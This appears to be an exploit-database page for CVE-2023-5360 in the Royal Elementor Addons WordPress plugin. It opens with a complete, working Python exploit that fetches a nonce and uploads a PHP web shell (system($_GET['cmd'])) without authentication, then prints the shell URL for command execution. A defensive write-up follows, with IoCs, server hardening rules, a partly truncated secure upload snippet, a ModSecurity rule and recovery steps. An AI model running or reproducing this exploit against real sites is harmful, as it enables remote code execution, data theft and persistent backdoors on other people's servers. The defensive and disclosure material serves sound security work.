Royal Elementor Addons and Templates 1.3.78 - Unauthenticated Arbitrary File Upload

Exploit Author: 4m3rr0r Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-05
# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://royal-elementor-addons.com
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
# Version: <= 1.3.78
# Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
# CVE: CVE-2023-5360

# Description:
# The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, 
# which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE).

import requests
import json
import re
import argparse
import tempfile
from urllib.parse import urljoin
from rich.console import Console

requests.packages.urllib3.disable_warnings()
console = Console()

def get_nonce(target):
    try:
        r = requests.get(target, verify=False, timeout=10)
        m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text)
        if m:
            nonce = json.loads(m.group(1)).get("nonce")
            return nonce
    except:
        pass
    return None

def upload_shell(target, nonce, file_path):
    ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
    with open(file_path, "rb") as f:
        files = {"uploaded_file": ("poc.ph$p", f.read())}
    data = {
        "action": "wpr_addons_upload_file",
        "max_file_size": 0,
        "allowed_file_types": "ph$p",
        "triggering_event": "click",
        "wpr_addons_nonce": nonce
    }
    try:
        r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10)
        if r.status_code == 200 and "url" in r.text:
            resp = json.loads(r.text)
            return resp["data"]["url"]
    except:
        pass
    return None

def generate_default_shell():
    with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp:
        shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>'
        tmp.write(shell_code.encode())
        return tmp.name

def main():
    parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)")
    parser.add_argument("-f", "--file", help="Custom PHP shell file to upload")
    args = parser.parse_args()

    console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]")
    nonce = get_nonce(args.url)
    if not nonce:
        console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]")
        return

    console.print(f"[green][+] Nonce found: {nonce}[/green]")

    if args.file:
        shell_file = args.file
        console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]")
    else:
        console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]")
        shell_file = generate_default_shell()
        console.print(f"[green][+] Default shell created at: {shell_file}[/green]")

    console.print("[cyan][*] Uploading shell...[/cyan]")
    uploaded_url = upload_shell(args.url, nonce, shell_file)

    if uploaded_url:
        console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]")
        if not args.file:
            console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]")
    else:
        console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]")

if __name__ == "__main__":
    main()


Royal Elementor Addons and Templates 1.3.78 — Unauthenticated Arbitrary File Upload (CVE-2023-5360)

This article analyzes the unauthenticated arbitrary file upload vulnerability found in Royal Elementor Addons and Templates versions up to 1.3.78 (CVE-2023-5360). The issue allows unauthenticated attackers to upload files that can lead to remote code execution (RCE) when uploaded files are placed inside a web‑accessible directory and executed by the server. The guidance below focuses on accurate vulnerability context, impact, detection, and safe, practical mitigations for administrators and developers.

Vulnerability at a glance

Item Details
CVE CVE-2023-5360
Product Royal Elementor Addons and Templates (WordPress plugin)
Affected versions Versions prior to 1.3.79 (<= 1.3.78)
Impact Unauthenticated arbitrary file upload leading to possible RCE
Remediation Upgrade to plugin 1.3.79 or later; apply hardening and cleanup

Technical summary (high level)

The root cause is insufficient server‑side validation of uploaded content. A public endpoint used by the plugin accepted uploaded files without rigorous checks on type, content, or destination. If an attacker can place an executable file (for example, a PHP script) in a web‑accessible folder, they can invoke that file to run arbitrary commands on the server, resulting in RCE.

Why this is dangerous

  • Unauthenticated access: attackers do not need legitimate WordPress credentials to attempt uploads.
  • Web‑accessible storage: uploaded files residing under document root may be executed by the webserver.
  • Typical web hosting is permissive: many shared and misconfigured servers allow execution of uploaded scripts.

Impact and real‑world consequences

  • Full site compromise: attacker can execute commands, install backdoors, and pivot to other systems.
  • Data theft or tampering: exfiltrate databases or inject malicious content.
  • Reputation and SEO damage: spam and malware pages can be hosted, leading to blacklisting.
  • Persistent backdoors: webshells and scheduled tasks can survive a simple plugin update unless cleaned.

Indicator of compromise (IoC) guidance

Below are non‑exhaustive, defensive patterns to look for in logs and file system analyses. Use these as starting points for investigation and tuning to reduce false positives.

  • Web server logs: unexpected POST requests to AJAX or upload endpoints from unknown IPs (e.g., POST to /wp-admin/admin-ajax.php).
  • New or modified files in wp-content/uploads or other plugin directories with executable extensions (e.g., .php, .phtml).
  • Access patterns calling unfamiliar files with query parameters commonly used by shells (e.g., ?cmd= or ?c=), especially from IPs that previously performed uploads.
  • Suspicious processes or scheduled tasks (cron jobs) spawned after a suspected compromise.

Quick forensic checks

  • Scan uploads for PHP or other executable files: locate files placed since the last known good backup.
  • Check file modification timestamps and owner/permission changes.
  • Inspect webserver access logs for POST requests with large multipart form‑data bodies or new file GET requests.
  • Run a site integrity scan (e.g., Wordfence, WPScan, custom file integrity hash comparison).

Immediate mitigation steps (triage)

  • Update the plugin to the fixed version (1.3.79 or later) as soon as possible.
  • If missing or unable to update immediately, deactivate the plugin and restrict access to troublesome endpoints through .htaccess, webserver rules, or a WAF.
  • Search and remove any suspicious files uploaded during the vulnerable window. Prefer restoring from a clean backup.
  • Rotate administrator and hosting credentials; audit users and API tokens.
  • Scan for persistence mechanisms (webshells, cron jobs, backdoored themes/plugins).

Preventive hardening — server and WordPress level

  • Disable PHP execution in upload directories via webserver config or .htaccess (example below).
  • Enforce strict server‑side upload validation in plugins and custom code (whitelist by type, verify content, check MIME via finfo, limit file size).
  • Store uploaded assets outside the document root or on a separate domain/subdomain where execution is impossible.
  • Use WordPress APIs for uploads (e.g., wp_handle_upload) and enforce capability checks and nonces server‑side.
  • Deploy a WAF with rules to block suspicious upload traffic and known exploit signatures.
  • Enable file integrity monitoring and regular automated scanning for PHP files in uploads.

Safe configuration examples

1) Example .htaccess to prevent execution of PHP files in uploads (Apache)


# Place this file in wp-content/uploads/.htaccess

  php_flag engine off


# Deny execution of scripts

  Require all denied


# Allow access to non-executable media

  Require all granted

Explanation: This configuration disables PHP execution in the uploads directory and denies access to commonly abused executable extensions. It still allows access to ordinary static assets. Adapt the file extension list to match your environment and server version. On older Apache/ PHP combinations you may need different directives.

2) Example Nginx snippet to deny PHP execution under uploads (server block)


# Inside server block:
location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
    deny all;
    return 403;
}

Explanation: Nginx will return HTTP 403 for requests that attempt to access PHP‑like files under the uploads path. This prevents a webshell uploaded to that directory from being executed even if present.

Secure file‑upload pattern for PHP (defensive, not exploitative)


 $max_size) {
    http_response_code(413);
    exit('File too large');
}

// Validate extension
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    http_response_code(415);
    exit('Unsupported file type');
}

// Validate MIME type using finfo
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);

// Mapping of allowed MIME types (example)
$allowed_mime = [
    'jpg'  => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'png'  => 'image/png',
    'gif'  => 'image/gif',
    'pdf'  => 'application/pdf',
    'svg'  => 'image/svg+xml'
];

if (!in_array($mime, $allowed_mime)) {
    http_response_code(415);
    exit('MIME mismatch');
}

// Optionally scan file with an antivirus engine here

// Store outside webroot or a protected directory
$target_dir = '/var/www/uploads_safe/';
$basename = bin2hex(random_bytes(16)) . '.' . $ext;
$target = $target_dir . $basename;

if (!move_uploaded_file($file['tmp_name'], $target)) {
    http_response_code(500);
    exit('Failed to store file');
}

// Set safe permissions
chmod($target, 0644);

echo 'OK';
?>

Explanation: This defensive snippet demonstrates a layered approach: validate file size and extension, verify MIME type with finfo, generate a randomized filename, store outside the document root or in a safe directory, and set safe file permissions. In production, also add capability checks, CSRF protection, logging, rate limiting, and optional AV scanning. Do not rely on client-side checks.

WordPress‑specific best practices for plugin developers

  • Never rely solely on client‑side controls (JavaScript) or obscurity. Validate and authorize every upload server‑side.
  • Use WordPress capability checks (current_user_can()) and nonces validated with wp_verify_nonce() for authenticated actions.
  • Prefer WordPress core upload APIs (wp_handle_upload(), wp_upload_dir()) which include helpful defaults and filters.
  • Whitelist allowed file extensions and content types; validate file contents, not only filename extension or supplied MIME type.
  • Store executable file types separately and prevent execution via server configuration.
  • Log upload activity and alert on anomalies such as repeated uploads from single IPs or unusual file types.

Detection rule examples (defensive)

Below are example ModSecurity rules to help block requests attempting to upload executable extensions. Tailor and test rules to avoid false positives.


# Block attempts to upload PHP files
SecRule REQUEST_URI|REQUEST_HEADERS|REQUEST_BODY "@rx \.(php|phtml|phar|pl|py)\b" \
  "id:100001,phase:2,deny,msg:'Possible upload of executable file',severity:2"

Explanation: This illustrative ModSecurity rule inspects request data for patterns referencing executable extensions and denies the request. Real deployments should tune precision to avoid blocking legitimate traffic.

Recovery checklist after confirmed compromise

  • Isolate the affected site (deny public access if needed).
  • Take forensic snapshots (disk images, memory if possible) before making changes.
  • Identify and remove malicious files, webshells, and unauthorized user accounts.
  • Restore from a known-good backup taken prior to compromise, if available.
  • Update WordPress core, themes, plugins (including the vulnerable plugin) to patched versions.
  • Change all credentials (WordPress admin, database, hosting, SSH) and rotate API keys.
  • Conduct a thorough post‑mortem and hardening process to prevent recurrence.

Final recommendations

If you run Royal Elementor Addons and Templates, prioritize updating to the patched version immediately. Treat any evidence of uploaded server‑side scripts as a high‑severity incident, perform a careful investigation, and follow the containment and recovery steps above. For developers, apply the secure upload patterns and server hardening described here to reduce the attack surface for similar vulnerabilities in the future.